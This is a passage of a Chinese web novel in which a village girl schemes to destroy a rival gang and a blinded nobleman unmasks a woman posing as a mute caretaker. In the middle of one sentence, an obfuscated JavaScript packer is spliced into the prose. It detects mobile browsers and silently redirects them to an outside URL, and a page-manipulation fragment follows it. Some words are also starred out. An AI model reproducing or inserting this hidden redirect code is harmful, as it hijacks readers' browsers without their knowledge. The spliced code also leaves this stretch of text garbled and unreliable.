雷豹狞笑着,拍了拍腰间的刀:“几位老板远道而来,我海沙帮岂能失了礼数?弟兄们会‘护送’各位一程,确保货物安全。” 剑拔**张。 这本是计,他们都知道。 可此刻雷豹这么做,几乎已经摆在明面上,怕不是一出镇子,就会黑吃黑把他们都杀了! 他们只是想发财,还不想送命! 然而就在僵持中,变故突生。 海沙帮的人群里,不知是谁先低声骂了一句: “妈的,真让那消息说中了,这疯子真要卖了我们去换钱!” 一石激起千层浪! “帮主!你是不是真要拿我们的命去给官府当投名状!” “他真的要出卖我们?!” 早已在帮中发酵了一夜的谣言,在这一刻彻底引爆。 所有海沙帮众看着雷豹的眼神,都变了,充满了怀疑、愤怒和被出卖的疯狂。 雷豹又惊又怒,正要咆哮着弹压,忽然,码头外传来一阵急促而整齐的脚步声! “官府办案!所有人放下兵器,缴械不杀!” 钱县 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301004|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令带着大批官差,如潮水般涌了进来。 盐商们见状,瞬间更是认定是雷豹勾结官府,要将他们一网打尽。 “姓雷的!你**不讲道义!”盐商头目怒吼一声,率先拔刀。 而海沙帮的帮众们看到官兵出现,更是印证了那个“雷豹要卖了他们”的谣言,最后一丝理智也崩断了。 “雷豹卖了我们!兄弟们,反了!” “杀!先宰了这姓雷的,再跟官兵拼了!” 场面瞬间失控。 盐商以为官兵是雷豹的帮手,挥刀便砍。 内讧的海沙帮众,竟同时朝雷豹和官兵扑了过去。 而官兵们,本以为只是来**一场械斗,却一头扎进了三方混战的血肉磨盘里。 刀光,血影,惨叫,怒吼。 整个码头,顷刻间化作人间炼狱。 雷豹到死都没能明白,为什么自己最信任的兄弟,会把刀捅进自己的后心。 他圆睁着双眼,直挺挺地倒下,脸上还凝固着无尽的错愕与不甘。 远处的小山坡上。 青龙帮的一众头目,包括冯三在内,呆呆地望着山下那片血腥的修罗场,只觉得浑身发冷,连呼吸都变得小心翼翼。 他们甚至没有一人出手。 可栖霞镇最凶悍的海沙帮,就这么在他们眼前,自己把自己……撕碎了。 所有人不约而同地转过头,看向身边那个依旧安静站立的少女。 日光下,她纤弱的身影仿佛随时会被山风吹走,可那张平静的脸上,却倒映着码头的火与血。 这一刻,再无人敢将她当成一个乡下丫头。 …… 三日后。 海沙帮覆灭,官府以“平乱有功,剿匪得力”结案,钱县令不仅保住了乌纱帽,还得了上峰的嘉奖,喜不自胜。 本来还想追究之前匿名告状的人,此刻却只想给那人奖赏。 可惜根本找不到人。 不过钱县令不是傻子,虽然人没露面,但他已经隐约猜到这事到底是谁的手笔了。 想起那少女的模样,他的心里更是万般滋味。 第431章 她要诛的是人心 雪亮的刀锋“唰”地停在那头目的鼻尖前,森然的寒气让他后面的话全都堵在了喉咙里。 “怕?”雷豹狞笑道,“他陈默都把刀架我们脖子上了,你跟我说怕?谁他娘的再敢说个‘退’字,这,就是下场!” 说罢,他手腕一翻,刀光闪过,旁边一根碗口粗的廊柱上,被硬生生劈下来一大块木片! 堂下再无人敢言。 …… 夜色再次降临顾家。 冯三几乎是撞开院门冲进来的,他脸上的血色褪得干干净净,嘴唇都在发抖,再无半分青龙帮大头目的沉稳。 “先生!”他一进屋,声音都变了调,“出大事了!帮里……帮里要翻天了!” “我们的人查清楚了,海沙帮的船确实被劫了,可……可那根本不是我们的人干的!那枚腰牌是假的!现在帮里的元老们都认定,是哪个兄弟私下里坏了您的规矩,捅了天大的娄子!帮主……帮主快压不住了!” 顾家众人都不发一言,默默退到一边。 屋子正中,阿禾正就着油灯,校对着那张简陋的地图,对冯三的闯入和嘶喊恍若未闻。 直到冯三把话说完,她才缓缓抬起头,那双清亮的眸子在跳动的火光下,平静得像一汪深潭。 “劫船的人,是我安排的。” “腰牌确实是假的,是我让黑狗子仿了你的样式,偷偷做的。” 两句轻飘飘的话,却像两记重锤,砸得冯三脑中嗡嗡作响。 他踉跄着后退半步,难以置信地看着阿禾,嘴巴张了又合,却发不出半点声音。 阿禾站起身,将一份写满了字的纸递到他面前。 “这是第二步,引蛇出洞。” 她指着纸上的内容,声音依旧平缓:“雷豹已经疯了,他现在最需要的是什么?是钱。是能让他召集人马,跟你们决一死战的钱。” “你现在,就拿着这封信,去秘密联络那些被海沙帮断了财路的盐商。告诉他们,发财的机会来了。” 冯三颤抖着接过信纸,目光落在上面的字迹上,瞳孔骤然收缩。 信里的计划,匪夷所思——由盐商们联合出资,以三倍于市价的高价,向海沙帮订购大批私盐,并要求五日内交货,预付一半定金。 “先生!”冯三失声叫道,“这……这不是在给雷豹送钱备战吗!有了这笔银子,他会立刻扑上来把我们撕碎的!” “如果,”阿禾迎着他惊骇的目光,嘴角勾起那抹熟悉的、温和又冰冷的弧度,“他们交到盐商手里的盐,全都变成了沙土呢?” 冯三浑身一震。 “我让黑狗子采买了一批麻袋、木箱,还有些别的……”阿禾的声音仿佛带着魔力,钻进冯三的耳朵里,“海沙帮在城西有个废弃的旧仓库,他们所有的货,都会在那里先行打包。黑狗子已经买通了守仓库的个老人,他嗜赌如命。” “交货的前夜,我们会神不知鬼不觉地,将里面码放好的真盐,全部换成我们早已备好的、一模一样的‘假盐’。” “青龙帮要做的,就是在雷豹和盐商们完成交易,他以为大笔银子到手,准备大举进攻的那一刻,把海沙帮‘卖假盐’的消息,传遍整个栖霞镇。” 冯三的呼吸变得粗重,他已经预见到了那副场景。 “届时,海沙帮信誉扫地,尾款拿不到,还会成为所有盐商不死不休的仇敌。帮内因为分赃不均和巨额亏空,必定离心离德,相互猜忌。” 阿禾踱到窗边,看着外面沉沉的夜色,投下了最致命的一块石头。 “同时,你要放出另一则消息:雷豹贪生怕死,早已将盐商们预付的定金通过地下钱庄转走,准备抛下所有兄弟,独自跑路。” “……” 冯三怔在原地,只觉得股寒气从脚底板直冲天灵盖,四肢百骸都变得冰凉。 他终于彻彻底底地明白了。 从乱石滩,到断手,再到劫船……所有人都以为这是江湖仇杀,是刀剑相向。 可在这个乡下丫头的眼里,这些都只是棋子。 她要的,从来不是雷豹的命。 她要诛的,是人心。 冯三走了,带着那份足以颠覆栖霞镇格局的计划,消失在夜色里。 事情的发展,顺利得超乎想象。 穷途末路的盐商们在看到能连本带利赚回来的希望后,几乎没有犹豫就凑齐了银子。 而雷豹在看到这笔从天而降的“军费”时,更是欣喜若狂,当场就签了契约,拍着胸脯保证五日内交货。 海沙帮上下,都在为了这笔天价订单而疯狂忙碌着。 交货的前一晚。 夜凉如水。 顾家小院里,所有人都没睡,都在等。 冯三也在这里,他也在焦急等待。 等黑狗子回来,等那个“换盐”成功的消息。 “吱呀——” 小院的木门突然被人从外面猛地推开,一道黑影连滚带爬地冲了进来,带着浓重的血腥气。 “阿禾姑娘!” 是黑狗子! 他浑身是血,脸上满是绝望和惊惶。 他扑倒在阿禾脚下,用尽最后一丝力气,嘶声喊道: “出事了!我们被卖了!仓库的暗桩……被杀了!” 冯三眼见浑身浴血的黑狗子,脑子里“嗡”的一声。 他目眦欲裂,霍然转身,攥紧的拳头骨节发白: “先生!事已至此,不能再等了!我这就带弟兄们去冲了那个仓库,便是拼光了,也得把真盐抢回来!” 他已然打定主意,要去跟雷豹那疯子鱼死网破。 顾家众人更是吓得魂飞魄散,顾大娘捂着嘴,不让自己哭出声,顾老实和三个儿子脸色惨白,死死地盯着阿禾。 然而,在这片死寂的绝望里,阿禾却缓缓放下了手中的舆图。 她非但没有半分惊惶,那双清澈的眸子里,反倒掠过一丝极淡的的笑意,如同冬日寒潭上初凝的薄冰。 “不必。” 她站起身,拦在了暴怒的冯三面前。 “冯三哥,稍安勿躁。那个暗桩被杀,我们的计策‘败露’,这本就是我计划里的第三步。” 什么? 第433章 七义 青龙帮兵不血刃,顺理成章地接管了海沙帮所有的地盘和那条最赚钱的海上盐路。 帮中上下自然欢腾不已。 镇上百姓也欢腾不已。 只因和海沙帮相比,青龙帮实在是好太多了。 当初没有海沙帮的时候,青龙帮在栖霞镇也劫富济贫,不仅时常帮助贫苦百姓,还会提供码头上的活计给镇上的百姓做生计。 只是那天杀的海沙帮崛起后,几乎把青龙帮逼的无路可走。 而如今,他们又可以过太平日子了。 夜。 顾家的院子里,灯火通明。 这里聚满了正在庆贺的渡口村村民。 村长正带着大伙儿在向顾家人敬酒。 顾老实喝的脸都有点红了。 一辆华贵的马车忽然在门外停下,青龙帮帮主陈默亲自带着一众心腹头目,走进了院子。 在所有人紧张的注视下,这位在栖霞镇跺跺脚地面都要抖三抖的江湖枭雄,走到正在和邻家妹妹说悄悄话的阿禾面前,整理了一下衣袍。 然后,在满院死寂中,他双膝一弯,直挺挺地跪了下去,对着阿禾,恭恭敬敬地,磕了三个响头。 “陈默,拜见先生!” 院子里落针可闻。 渡口村的村民们,连同喝得半醉的顾老实,全都僵住了。 他们瞪着眼睛,看着那个在栖霞镇呼风唤雨的青龙帮帮主,就那么直挺挺地跪在自家那个平日里安安静静的丫头面前。 那可是陈默! 三个响头,磕得结结实实,额头碰在泥土地上,发出沉闷的声响。 “拜见先生!” 这四个字,比雷豹的断手还要让人心惊胆战。 阿禾温和笑着,走上来扶起了他。 她静静地望向那张英气逼人的脸。 陈默很年轻,约莫不到三十,身形挺拔,穿着一身得体的锦缎长衫,腰间悬着玉佩,若非身后站着冯三那群煞气腾腾的汉子,任谁看都只会觉得这是位饱读诗书的富家公子,而非一个帮派的龙头。 他抬起头,目光坦然地迎上阿禾的审视,语气里是发自肺腑的敬畏:“先生之智,胜于甲兵。陈默替青龙帮上下,谢先生再造之恩。” 他这一番举动,让院里的村民们大气都不敢喘。 几个碎嘴的妇人悄悄交换着眼色,压低了声音议论:“哎,你看这陈帮主,长得一表人才,跟咱们阿禾站一块儿,还真……真挺配的。” “是啊,这要是能成顾家女婿……” 一个族中长辈下意识地看向顾大娘,话里带着几分讨好。 顾大娘脸上的笑有些僵,她嘴上敷衍着:“孩子们的事,我这老婆子可做不了主。” 可心里却翻江倒海。 这陈帮主固然是人中龙凤,可终究是江湖中人,过的是刀口舔血的日子。 自家女儿这么好的本事,合该配个清清白白的读书人,考取功名,光耀门楣…… 但……她又忍不住担心,万一这陈帮主真起了心思,以他的权势,自家又该如何是好? 就在众人心思各异时,阿禾终于开口了,声音清淡如水: “陈帮主请起。你我之间,是交易,各取所需罢了。” 她没接受那份大礼,却也没拒绝那声“先生”。 陈默顺势起身,对着阿禾深深一揖: “先生于我青龙帮有大恩。从今日起,先生但有差遣,青龙帮上下,莫敢不从。先生之位,与我陈默,平起平坐。” 满院哗然。 …… 自那晚之后,顾家的变化简直是天翻地覆。 原本停摆的新宅工地,第二天就涌入了上百名工匠,用的都是最好的青砖石料,不过半月,一座三进三出、带花园池塘的大宅院便拔地而起,成了整个渡口村,甚至整个栖霞镇最气派的建筑。 只不过,渡口村此处到底是有点偏僻。 青龙帮曾不止一次地请阿禾搬去镇上更繁华的地段,都被她拒绝了。 于是,陈默干脆下令,调集人手,将整个渡口村的道路全部用青石板重新铺了一遍,甚至连渡口村通往镇上的路也重新修了。 家家户户的老屋也都给修葺加固,祠堂也重新翻修了,村口还立起了一座崭新的石牌坊。 一时间,破落的渡口村一跃成为全县最气派的村子。 这番手笔,让所有人都看傻了眼。 阿禾依旧住在村里,只是身边多了些人。 黑狗子成了她的专职信使,冯三隔三差五便会带着帮中事务前来请示,为了保护阿禾安全,干脆留下了十来个青龙帮的手下供阿禾差遣。 自此,阿禾不仅有了用不完的钱,也有了一呼百应的“小弟”。 这日午后,阿禾正在新宅的书房里看书,冯三却脚步匆匆地闯了进来,神情凝重。 他手里捧着一本用油布包得严严实实的册子。 “先生,这是从雷豹总堂的暗格里翻出来的。”冯三将册子放到桌上,小心翼翼地展开,“是他的一本秘密账本。” 阿禾放下书卷,目光落在账本上。 账本上记录的全是海沙帮与各路盐商的私盐交易,数目之大,触目惊心。 但吸引阿禾的并非这些。 她的指尖划过账页,停留在最后几页。 这里记录的不再是盐,而是丝绸、瓷器和药材,交易的地点,全都指向了北方。 利润比贩私盐还要高出数倍。 这是一条通往北方,更为庞大的走私商路。 而在最后一笔交易记录旁——时间是一个月前——没有记录货物,也没有银两数目,只用早已干涸发黑的血,写着两个字—— 七义。 “七义?”阿禾轻声念出这两个字,抬头看向陈默。 陈默不知何时也走了进来,他的脸色在看到这两个字时,瞬间沉了下去。 “是‘七义堂’。”陈默俊朗的脸上神情沉郁,声音有些发紧,“可以说是如今往北的路上最大,也是最强的帮派。” 他走到桌边:“半年前,我们有一支商队想往北边走,在‘落霞渡’被他们的人扣了。我派了帮里三十多个最能打的好手,由我二弟亲自带队去交涉,结果……” 陈默闭了闭眼,似是不愿回忆那惨状: “……活着回来的,不到十个。我二弟的一条胳膊也永远留在了那里。对方甚至没出动什么大人物,仅仅是当地的一个分堂主。” 第434章 这个闲事我想管管 “七义堂把持着往北的要道,过不去他们的地盘,也就相当于无法通往整个北地。从那以后,整个北方就都成了我们的禁区……雷豹这笔血账,怕也是和他们有关。” 阿禾瞬间明白。 青龙帮去不到北方,海沙帮肯定也没去成。 因此雷豹才在这账本上记下这一笔血账。 陈默看着阿禾,郑重地劝道: “先生,七义堂是块真正的铁板,碰不得。听说他们的总堂主是个女人,神秘莫测,手段比……先生您的计策还要狠辣百倍。咱们守好栖霞镇就够了,北上的念头,暂时先搁置着吧。” 陈默外表虽儒雅,但阿禾知道他也是个狠人,不然不可能年纪轻轻坐稳青龙帮龙头老大的位置。 连他都歇了北上的心思,可见这七义堂,绝不仅仅是徒有虚名而已。 一个女人? 阿禾的眉梢轻轻挑了一下。 尤其是那个“七”字,让她心底莫名地泛起一丝说不清道不明的熟悉感。 她没有立刻回应陈默的劝告,只是伸出手:“地图。” 陈默一愣,还是立刻让冯三取来了青龙帮势力范围最详尽的地图。 阿禾将地图在宽大的书桌上铺开,目光掠过栖霞镇,一路向北,最终定格在了青龙帮地盘与北方势力的交界处。 那是一个三方势力交错,鱼龙混杂的“三不管”地带。 落霞渡。 几天后。 黑狗子风尘仆仆地从外面赶回,一进书房便灌了一大碗凉茶。 “先生,都打听清楚了!” 自从海沙帮覆灭后,他也跟着陈默冯三他们,开始叫阿禾“先生”了。 他抹了把嘴,兴奋地说道:“七义堂在落霞渡的分堂主是个叫‘王蝎子’的家伙。这家伙简直不是人,横行霸道,不仅对过往商旅雁过拔毛,就连渡口的船夫、渔民,他都要抽三成的辛苦钱。谁要是不给,轻则打断腿,重则直接沉江!搞得那里民不聊生,怨声载道!” 恰好过来汇报事务的冯三听完,脸上也露出不忿之色。 “七义堂的人就能这么嚣张吗!” 但转而又叹了口气,对阿禾劝道: “但是先生,这种事我们还是别管了。听闻七义堂内部赏罚分明,那总堂主是个极有手段的女人,想来用不了多久,他们自己就会惩治这个王蝎子。我们若是插手,只会引火烧身。” 那天陈默走后,冯三又交代了一下之前青龙帮跟七义堂打交道的细节。 他们确实是吃亏在这个王蝎子手里,但当时青龙帮的行事也不光彩。 因为早先青龙帮和七义堂曾经谈过一次,划分了买卖界限,是青龙帮想拓展版图,这才悄悄派人北上,被七义堂抓了个正着。 因此那件事虽然青龙帮吃了亏,但陈默也因为不光彩,决定就此认栽。 而七义堂在北方一带,其实名声真的不错。 至少在百姓们口中是好的,可这王蝎子的行事,却很明显地违背了七义堂的宗旨。 阿禾一直安静地听着,指尖无意识地在桌上那张地图的“落霞渡”位置上,轻轻敲击着。 听完冯三的话,她忽然停下了动作,抬起头。 嘴角勾起了一抹温和的笑意,双眸闪闪。 “不。”她轻声说,“这个闲事,我想管管。” …… 一双微凉的手递过来一只碗,碗沿还没碰到裴应见的嘴唇,他已经下意识地偏头躲开。 那双手顿住了,随即顿了顿,又想来碰他的手臂。 裴应见又猛地缩回手。 他本就机警,何况在这陌生的地方,自己的眼睛还看不见了。 那姑娘似乎被他的反应吓到了,碗里的水晃了一下,撒在了裴应见的衣服上。 “你这人,怎么不知好歹!”旁边的妇人看不下去了,“是阿哑救了你,给你擦身喂药,你还凶她!” 裴应见嘴唇紧抿,没有说话。 他本应问些问题,但直觉却告诉他,此刻什么都别问更好。 接下来的两天,都是那个叫阿哑的姑娘在照顾他。 她会算好时辰端来汤药,用勺子细心地吹凉了再喂到他嘴边。 她会扶着他起身,替他换掉被冷汗浸湿的里衣。 整个过程,没有一句话。 她确实是个哑巴。 而他看不见,也就看不见她的手势。 他每天只是按时喝药,然后等,等自己好一点,就离开这里。 这天阿哑又来喂药。 药碗递到嘴边时,裴应见正要张口,那只端着碗的手却猛地一抖,温热的汤药顿时倾洒而出,浸湿了他胸前的衣襟。 裴应见浑身一僵,还未反应过来,一只带着薄茧的手便慌乱地在他胸口擦拭起来。 他穿着阿哑和妇人给他的旧衣,但那手的温度还是隔着衣衫传了进来。 那突如其来的触碰,像一根针扎在他紧绷的神经上。 “走开!” 他下意识厉声呵斥,猛地挥手打开了那只手。 啪! 药碗碎了。 屋子里瞬间安静得可怕。 接着便听到一声压抑的抽泣,和一阵仓皇跑远的脚步声。 不多时,那妇人怒气冲冲地闯了进来。 “你这人怎么回事!阿哑好心照顾你,你还凶她!” 妇人看着地上的碎瓷片,更是气不打一处来,“她为了给你找草药,冒着大雪进山,摔了一跤,手都划烂了,这才没端稳碗!你不知感恩就算了,还把人给骂跑了!我看你这伤也别治了,干脆让她把你赶出去算了,省得把我们好心当成驴肝肺!” 妇人骂骂咧咧地收拾了药碗碎片,重重地摔门而去。 裴应见僵坐在床榻上。 她……原来是这样? 他想起方才那只手的触感,粗糙的,还带着一丝不正常的颤抖。 原来,是为他。 裴应见面如表情地坐了片刻。 半晌后,他撑着虚弱的身体,摸索着下了床,凭着这几日的记忆,踉跄着朝屋外走去。 “阿哑?” 他试探着喊了一声,寒风灌入喉咙,引来一阵咳嗽。 没有回应。 他侧耳倾听,终于在院子角落的柴房里,捕捉到一丝极力压抑的、小兽般的呜咽声。 第435章 留下来 他摸索着走了过去,停在柴房门口。 “对不起。”他靠着门框,声音沙哑,“我误会你了。” 里面的哭声戛然而止。 那姑娘似乎震了一下,缓缓抬起头。 他看不见,却能感觉到那道目光落在他脸上。 她没有动,也没有发出任何声音。 裴应见伸出手,在空中停顿了片刻,似乎是想确认她的位置。 下一刻,他的手被抓住了。 她拉着他的手,放在自己脸上,让他感受那湿漉漉的泪痕。 然后,她又笑了,嘴角上扬的弧度,她引着他的指尖去触摸。 她用这种方式告诉他,她原谅他了。 …… 裴应见身上的外伤在阿哑的照料下,一天天好了起来,结了痂,又慢慢脱落。 只是那双眼睛,始终笼罩在一片黑暗里。 在阿哑的央求下,妇人特意带她去镇上请了最好的大夫,大夫捻着胡须反复看了半天,最后只是摇头叹气,说裴应见中的毒太深,已经伤了根本,这辈子怕是再也瞧不见光了。 妇人听了唉声叹气,阿哑更是红了眼眶,一整天都闷闷不乐。 反倒是裴应见自己,听完后神色没有半分波澜,只淡淡道了句:“没什么。” 日子愈发冷了,北风卷着雪粒子,刮在人脸上像刀子割。 阿哑每日出门愈发早,回来得也愈发晚,手上脚上全是冻疮。 她不仅要给大户人家浆洗衣物换几个铜板,回来还要熬药,还要照顾裴应见。 家底本就薄如纸,给他治病抓药更是掏空了最后一点积蓄。 饭桌上的米粥,渐渐稀得能照出人影。 可即便如此,裴应见的碗里总会多一筷子咸菜,或者一个藏在碗底的鸡蛋。 而阿哑自己的碗里,永远是清汤寡水。 裴应见眼睛看不见,阿哑也从不声张,她以为自己藏得很好。 裴应见却怎么可能不知道。 但不知道出于什么原因,他也不点破,只默默地将那份饭菜吃得干干净净。 这天傍晚,院门忽然被人一脚踹开,几个凶神恶煞的汉子闯了进来,为首的是镇上放印子钱的刀疤刘。 “臭丫头!欠的钱到底还不还!再不还,就把你这小哑巴卖到窑子里去抵债!” 妇人正好来给阿哑送菜,见状吓得脸都白了,哆哆嗦嗦地护住阿哑: “几位爷,再宽限几天,再宽限几天吧!小丫头孤苦伶仃一个人,过的可不容易了……” “宽限?老子都宽限她多久了!”刀疤刘一把推开妇人,伸手就要去抓阿哑。“我可是听说了你为什么借钱了!别人都说你在家里养了个小白脸!” 众汉子一阵哄笑。 “老子现在就把你卖到窑子里去,看你那个小白脸敢不敢救你!” “他要是敢救你,老子就把他一块卖进窑子!” “哈哈哈哈哈……” 阿哑惊恐地后退,却被逼到了墙角。 就在刀疤刘的手即将碰到她时,忽然,旁边蓦地有一只手凭空伸出,铁钳似的抓住了他的手腕。 刀疤刘一怔,使劲挣了挣,却没挣脱。 脸色一下子就变了。 众人的脸色也都变了,直到今天这是遇到了硬茬。 转头一看,抓人的这小子还真是个小白脸,长得真俊! 可双目无神,竟然是个瞎子! 但下一瞬,他们的心就沉了下去了。 刀疤刘费劲了力气也挣脱不开,已觉不妙,这小白脸的脸色更是难看。 明明脸上也没什么表情,可身上那股子寒意却比外面的风雪还冷。 “滚。” 裴应见只说了一个字。 刀疤刘手腕剧痛,想挣脱却动弹不得,又惊又怒:“你他娘的什么东西,敢管老子的闲事!” 他心下害怕,却还是举起另一个拳头照着裴应见面门就砸了过去。 裴应见头也未偏,只是抓着他手腕的手指微微一错。 “啊——!” 刀疤刘发出一声惨叫,整条胳膊以一个诡异的角度耷拉了下去,竟是被生生折断了。 跟来的几个混混吓得腿都软了,哪里还敢上前。 裴应见松开手,从怀里摸出一块玉佩,扔在地上。 那玉佩质地温润,雕工精湛,一看便知价值不菲。 “这个,够了么?” 刀疤刘捂着断手,冷汗涔涔,眼睛死死盯着那块玉佩。 这种货色,他一辈子也没见过。 岂止是够了,简直是买他这条命都够了。 眼前这人不光武功高强,还身份贵重。 刀疤刘再看他的眼神,已经恐惧非常。 “够了!够了!”他连滚带爬地捡起地上的玉佩,又慌忙从怀里掏出一小袋碎银子塞给阿哑,“是小的有眼不识泰山,这些钱您拿着,就当是小的给您赔罪了!” 说完,带着手下屁滚尿流地跑了。 阿哑捧着那袋沉甸甸的银子,再看看面前这个瞎了眼的男人,整个人都懵了。 半晌,妇人先反应了过来,脸上立刻堆满了笑,热情得判若两人。 “哎呀,小伙子,原来你这么有本事!” ……还这么有钱。 说着话就把裴应见往屋里拉。 “还这么护着我们阿哑,阿哑可真是有福气了!” “你呀,我看你就娶了我们阿哑得了,你眼睛不方便,身边不能没人照顾,我们阿哑手脚勤快,心又细……” “再说阿哑救你的事都已经传出去了,你要是没什么表示,我们阿哑以后怎么做人啊,她还是黄花大闺女呢……” “你看不见啊,其实我们阿哑长的可俊了,配你绰绰有余!” 她越说越起劲,仿佛已经看到了未来的好日子。 阿哑一直没表示。 裴应见也没有理会她,只是转过头,用那双空洞的眼睛“望”向阿哑的方向。 阿哑被妇人说得满脸通红,又羞又窘,低着头,转身跑进了自己屋里。 “哎呀,这丫头……小伙子你好好想想啊……”妇人也起身追去了。 一直到晚饭时分,阿哑都迟迟没有回来。 裴应见在堂屋里坐了许久,终于起身,摸索着走到了院子里。 他在厨房找到了阿哑。 她似乎是想躲着他。 他走近,她就往后退。 裴应见在她身旁站定,夜风吹起他的衣角。 他苦笑着问:“难道饭都不给我吃了吗?” 第436章 该收场了 阿哑身子一僵,缓缓抬起头,借着屋里透出的微光,看见他清瘦的轮廓。 她连忙摆手,比比划划。 裴应见虽然看不见,但还是给了她一个迟来的笑意。 饭菜很快端了上来,比往日丰盛了许多。 两人相对无言地吃着饭。 忽然,阿哑伸出筷子,夹了一块最大的肉,小心翼翼地放进裴应见的碗里。 她没有收回筷子,而是用筷子头,轻轻地、试探地碰了碰他的手背。 那是一个无声的、笨拙的,却又无比真诚的表白。 裴应见的动作停住了。 他沉默片刻,忽然开口:“你是不是,也希望我留下来?” 阿哑愣了一下,随即毫不犹豫地点了点头,眼里满是期盼的光。 知道裴应见看不见,她连忙又赶紧用手点了点他。 然而裴应见却没有再说话。 阿哑等了很久,眼里的光慢慢地熄灭了。 最后失望地垂下眼,默默吃完了饭,收拾了碗筷。 夜里,到了该喝药的时辰,她却没有像往常一样端着药碗进来。 许久之后,裴应见听到门口传来一声极轻的木碗落地的声音,然后是远去的脚步声。 他摸索着走到门口,门外冰冷的台阶上,一碗还温热的汤药被独自丢在那里。 …… 翌日清晨。 天光透过窗纸,在屋里铺了层灰白。 饭桌上依旧沉默。 阿哑将盛得冒尖的米粥推到裴应见面前,又把碟子里唯一那枚煎得金黄的荷包蛋夹进了他的碗里。 裴应见没有动。 他静坐了许久,终是放下了手中的竹筷。 筷子碰到碗沿,发出清脆的响声,在寂静的屋里格外突兀。 “抱歉。”他开口,声音比外面的风雪还要冷,“我乃不祥之人,跟着我,只会给你招来祸端。” 阿哑端着碗的手顿住,她抬起头,急切地看着他,用力地摇着头。 她不怕。 她想告诉他,她不怕。 但是他看不见。 虽然看不见,但他却似乎能感受到她的动作。 裴应见苦笑了一声。 他抬头,“望”着她的方向,那双空洞的眸子仿佛能穿透一切伪装,直抵人心最深处。 “你是真的想让我留下来么。” 他低声说,语气意味不明。 阿哑这次没有毫不犹豫地点头。 反而迟疑了一下,用手轻轻在他手臂上摇了摇。 当晚,裴应见悄无声息地走了。 他推开门时,凛冽的寒风卷着雪沫灌了进来,瞬间吹熄了桌上那豆如萤火的油灯。 他没有带走任何东西,就像他来时那般,孑然一身,没入风雪。 然而他刚走出院子没多远,身后便传来了踉跄的脚步声。 阿哑追了上来。 她似乎追的太急,只随便批了件衣服就出来了,没走两步就冻的呼吸急促,却固执地跟在他身后,不肯停下。 裴应见没有回头,只是加快了脚步。 夜路湿滑,尤其是在这种刚下过雪的山路上。 阿哑追得心急,脚下猛地一滑,整个人朝着旁边陡峭的斜坡滚了下去。 “唔……”她发出一声闷哼,额头重重地磕在了坡下的石头上。 裴应见脚步一顿。 他背对着她,身后那微弱的、痛苦的呻吟声,不断传来。 片刻的迟疑后,他终是转过身,循着声音摸索了过去。 当他温热的指尖触碰到她额头那片湿冷的黏腻时,阿哑似乎是笑了。 她抓住他的手,放在自己唇边,满足地蹭了蹭。 然而,下一瞬,她脸上的笑意僵住了。 那只原本轻柔抚摸她额头的手,突然毫无征兆地向下移动,手指如铁爪,精准地扣住了她纤细的脖颈。 男人的声音再无半分温情,只剩下冰冷的审视与逼问。 “你的戏,演到这里,也该收场了。” “你到底是谁?” 阿哑浑身僵硬,呼吸都停滞了。 她对上那双明明看不见的眼睛,却感觉自己从里到外都被看了个通透。 半晌,她放弃了挣扎,紧绷的身体慢慢松弛下来。 她轻轻叹了口气,那声叹息在寒夜里散开,带着说不尽的疲惫与无奈。 然后,她开口了。 那是一道温柔而娇媚的女子嗓音,与“阿哑”这个身份,没有半分关系。 “我是……姜飞飞。” “姜飞飞……” 裴应见低声咀嚼着这个名字,零碎的画面在他黑暗的脑海里炸开。 破庙的相遇…… 侯府囚牢,青义被她花言巧语的欺骗……她骗了青义,从他手里逃了出去,为此青义还领了三十鞭。 可再往前,他为何要关押她? 她究竟是什么身份? 他想不起来,越是费力去想,头颅便如要裂开一般剧痛。 那扣在女人脖颈上的手,也因这突如其来的剧痛而卸了力道。 姜飞飞却没有趁机逃跑,只是跌坐在雪地上,狼狈地喘息着。 半晌,她发出一声长叹,那叹息里满是说不出的落寞与凄楚。 “我知道,你已经想起了从前的事。”她抬起头,声音沙哑,“我并非有意欺瞒,只是……只是你对我满是戒心,我若不装成哑巴,又怎能近你的身?” 她苦笑着。 “我们如今都是无处可去的可怜人,我只是想……找个人相互依靠罢了。” 她的话音带着寒风,钻进裴应见的耳朵里。 可裴应见却没有办法去思考。 头痛愈发猛烈,眼前的黑暗天旋地转,裴应见闷哼一声,身子一软,彻底失去了知觉。 …… 再醒来时,依旧是那间熟悉的卧房。 身上盖着厚实的棉被,屋角炉火烧得正旺。 姜飞飞端着药碗坐在床边,见他醒来,脸上露出恰到好处的关切,用勺子舀起一勺汤药,细心地吹了吹。 还是那副温柔体贴的模样。 裴应见却只觉得胃里一阵翻江倒海。 他偏过头,嘴唇抿成一条僵直的线,不言不语,也绝不肯喝药。 姜飞飞的动作顿住了,她静静地看了他片刻,没有强求,放下药碗,起身走了出去。 没过多久,那妇人又走了进来,脸上堆着笑,却怎么看都有些战战兢兢。 “小伙子,你醒啦?快,趁热把药喝了,这可是阿哑……哦不,是姜姑娘特意给你熬的。” 第437章 没有心的木偶 裴应见没有动,只是用那双空洞的眼睛“看”着她。 “谁让你来的?”他的声音不大,却让妇人吓得哆嗦了一下。 “是……是姜姑娘让我来劝劝你……” 在裴应见迫人的沉默下,妇人终于扛不住,竹筒倒豆子般全招了,“小伙子,你别怪我,我也是拿人钱财……是姜姑娘花钱雇我来陪她演这出戏的……” “她是个什么样的人?”裴应见打断了她。 妇人形容了一下姜飞飞的样貌,与他记忆中分毫不差。 但说着说着,她的声音就小了下去,身子都甚至不由自主抖了起来。 “你怕她?”裴应见低声问。 妇人一个激灵,连忙摇头,可又忍不住小声说道:“那姑娘……看着柔柔弱弱的,可那双眼睛……啧,不像好人。我劝你……你还是赶紧养好伤离开这吧……” 裴应见听完,沉默了许久,才对妇人道:“你走吧,离开这里,越远越好。” 他说完,端起那碗已经有些凉了的汤药,一饮而尽。 妇人如蒙大赦,赶紧退了出去。 院子里,姜飞飞正站在风雪中等着她。 妇人连忙上前,将裴应见喝了药的事说了。 “是吗?”姜飞飞脸上挂着温婉的笑,可那笑意却未达眼底,“还让你说了什么?” 